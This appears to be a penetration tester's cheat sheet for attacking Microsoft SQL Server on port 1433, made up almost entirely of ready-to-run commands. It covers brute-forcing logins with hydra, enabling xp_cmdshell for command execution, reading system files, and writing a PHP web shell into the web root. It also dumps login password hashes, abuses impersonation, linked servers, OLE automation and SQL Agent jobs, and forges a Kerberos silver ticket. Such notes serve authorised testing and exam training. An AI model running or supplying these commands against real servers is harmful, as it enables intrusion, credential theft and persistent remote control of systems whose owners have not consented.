↓ Skip to main content
Cameron Candau

1433 mssql

MSSQL Enumeration (1433)
#

Run nmap MSSQL scripts
#

nmap --script=ms-sql-* -p 1433 $IP

Check SQL Browser on UDP 1434
#

nmap -sU -p 1434 $IP

Connect with impacket-mssqlclient
#

impacket-mssqlclient sa:password@$IP
impacket-mssqlclient "$DOMAIN"/"$USER":"$PASS"@$IP -windows-auth

Brute force MSSQL with hydra
#

hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt $IP mssql

Check current user and sysadmin
#

SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

List databases
#

SELECT name FROM sys.databases;

List tables in current database
#

SELECT name FROM sys.tables;

Check whether xp_cmdshell is enabled
#

SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

Enable xp_cmdshell
#

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Execute commands with xp_cmdshell
#

EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'ipconfig';

Read a file with BULK INSERT
#

CREATE TABLE temp (line varchar(8000));
BULK INSERT temp FROM 'c:\windows\system32\drivers\etc\hosts';
SELECT * FROM temp;
DROP TABLE temp;

Read a file with OPENROWSET
#

SELECT * FROM OPENROWSET(BULK 'c:\windows\system32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;

Write a web shell with xp_cmdshell
#

EXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]); ?^> > c:\inetpub\wwwroot\shell.php';

Dump SQL login hashes
#

SELECT name, password_hash FROM sys.sql_logins;

Enumerate linked servers
#

EXEC sp_linkedservers;
SELECT name FROM master.dbo.sysservers WHERE isremote = 1;

Execute query on linked server
#

SELECT * FROM OPENQUERY("LINKED_SERVER", 'SELECT @@version');

Check who can be impersonated
#

SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

Check who can be impersonated (impacket-mssqlclient)
#

enum_impersonate
exec_as_login sa

Impersonate another login if allowed
#

EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

Run sp_OACreate command execution
#

DECLARE @myshell INT;
EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT;
EXEC sp_oamethod @myshell, 'run', null, 'cmd /c "whoami > c:\temp\output.txt"';

Run a SQL Agent job
#

USE msdb;
EXEC dbo.sp_add_job @job_name = 'test_job';
EXEC sp_add_jobstep @job_name = 'test_job', @step_name = 'test_step', @subsystem = 'cmdexec', @command = 'whoami > c:\temp\output.txt';
EXEC dbo.sp_add_jobserver @job_name = 'test_job';
EXEC dbo.sp_start_job N'test_job';

Back up a database
#

BACKUP DATABASE database_name TO DISK = 'c:\temp\database_backup.bak';

Forge a silver ticket for MSSQL
#

impacket-ticketer -nthash <service_nt_hash> -domain-sid <domain_sid> -domain "$DOMAIN" -spn "MSSQL/sql.$DOMAIN" -user-id 500 Administrator
export KRB5CCNAME=$PWD/Administrator.ccache
impacket-mssqlclient -k "sql.$DOMAIN"

Read a file over MSSQL with a silver ticket
#

SELECT * FROM OPENROWSET(BULK 'c:\users\administrator\desktop\proof.txt', SINGLE_CLOB) AS contents;